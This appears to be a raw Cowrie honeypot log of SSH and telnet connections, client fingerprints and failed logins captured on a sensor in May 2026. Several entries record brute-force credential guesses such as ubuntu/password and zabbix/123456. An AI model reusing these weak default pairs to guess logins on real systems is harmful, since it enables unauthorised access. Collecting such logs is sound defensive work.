{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40298,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e47b6a21bb","protocol":"ssh","message":"New connection: 172.237.20.62:40298 (159.203.135.109:22) [session: a3e47b6a21bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:11.894318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:11.899246Z","src_ip":"172.237.20.62","session":"a3e47b6a21bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:12.060923Z","src_ip":"172.237.20.62","session":"a3e47b6a21bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:12.551008Z","src_ip":"172.237.20.62","session":"a3e47b6a21bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:13.715654Z","src_ip":"172.237.20.62","session":"a3e47b6a21bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37908,"dst_ip":"159.203.135.109","dst_port":22,"session":"05bf59a9f66f","protocol":"ssh","message":"New connection: 172.237.20.62:37908 (159.203.135.109:22) [session: 05bf59a9f66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:22.828138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:22.832634Z","src_ip":"172.237.20.62","session":"05bf59a9f66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:22.999686Z","src_ip":"172.237.20.62","session":"05bf59a9f66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.72336411476135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:23.472373Z","src_ip":"198.27.76.181","session":"818e2715f81a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:23.491173Z","src_ip":"172.237.20.62","session":"05bf59a9f66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:24.657571Z","src_ip":"172.237.20.62","session":"05bf59a9f66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":22816,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9dcd569a06","protocol":"ssh","message":"New connection: 176.65.132.190:22816 (10.17.0.5:22) [session: ff9dcd569a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:32.687046Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:32.692510Z","src_ip":"176.65.132.190","session":"ff9dcd569a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a779ec6253","protocol":"ssh","message":"New connection: 172.237.20.62:34104 (159.203.135.109:22) [session: 07a779ec6253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:33.607864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:33.611861Z","src_ip":"172.237.20.62","session":"07a779ec6253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:33.773948Z","src_ip":"172.237.20.62","session":"07a779ec6253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:34.263106Z","src_ip":"172.237.20.62","session":"07a779ec6253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.125.60.201","src_port":60170,"dst_ip":"159.203.135.109","dst_port":23,"session":"db27c81e0a7a","protocol":"telnet","message":"New connection: 59.125.60.201:60170 (159.203.135.109:23) [session: db27c81e0a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:34.666697Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:35.427502Z","src_ip":"172.237.20.62","session":"07a779ec6253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47606,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc67898a120c","protocol":"ssh","message":"New connection: 172.237.20.62:47606 (159.203.135.109:22) [session: dc67898a120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:44.767625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:44.772927Z","src_ip":"172.237.20.62","session":"dc67898a120c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:44.932280Z","src_ip":"172.237.20.62","session":"dc67898a120c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:45.410027Z","src_ip":"172.237.20.62","session":"dc67898a120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:46.574885Z","src_ip":"172.237.20.62","session":"dc67898a120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.588399410247803,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:47.254968Z","src_ip":"59.125.60.201","session":"db27c81e0a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b2e3dc87893","protocol":"ssh","message":"New connection: 172.237.20.62:48680 (159.203.135.109:22) [session: 4b2e3dc87893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:55.548386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:55.553041Z","src_ip":"172.237.20.62","session":"4b2e3dc87893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:55.716263Z","src_ip":"172.237.20.62","session":"4b2e3dc87893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:56.209224Z","src_ip":"172.237.20.62","session":"4b2e3dc87893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:57.375573Z","src_ip":"172.237.20.62","session":"4b2e3dc87893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.90","src_port":58088,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1d6572e29ad","protocol":"ssh","message":"New connection: 205.210.31.90:58088 (159.203.135.109:22) [session: c1d6572e29ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:57.710718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:57.744529Z","src_ip":"205.210.31.90","session":"c1d6572e29ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:57.802150Z","src_ip":"205.210.31.90","session":"c1d6572e29ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:06.335807Z","src_ip":"205.210.31.90","session":"c1d6572e29ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47978,"dst_ip":"159.203.135.109","dst_port":22,"session":"6473c57e6341","protocol":"ssh","message":"New connection: 172.237.20.62:47978 (159.203.135.109:22) [session: 6473c57e6341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:06.508533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:06.513997Z","src_ip":"172.237.20.62","session":"6473c57e6341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:06.673482Z","src_ip":"172.237.20.62","session":"6473c57e6341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:07.151590Z","src_ip":"172.237.20.62","session":"6473c57e6341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:08.314538Z","src_ip":"172.237.20.62","session":"6473c57e6341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57582,"dst_ip":"159.203.135.109","dst_port":22,"session":"2722161e35ae","protocol":"ssh","message":"New connection: 89.144.211.139:57582 (159.203.135.109:22) [session: 2722161e35ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:12.830256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:12.836752Z","src_ip":"89.144.211.139","session":"2722161e35ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:51:12.970177Z","src_ip":"89.144.211.139","session":"2722161e35ae","protocol":"ssh"}
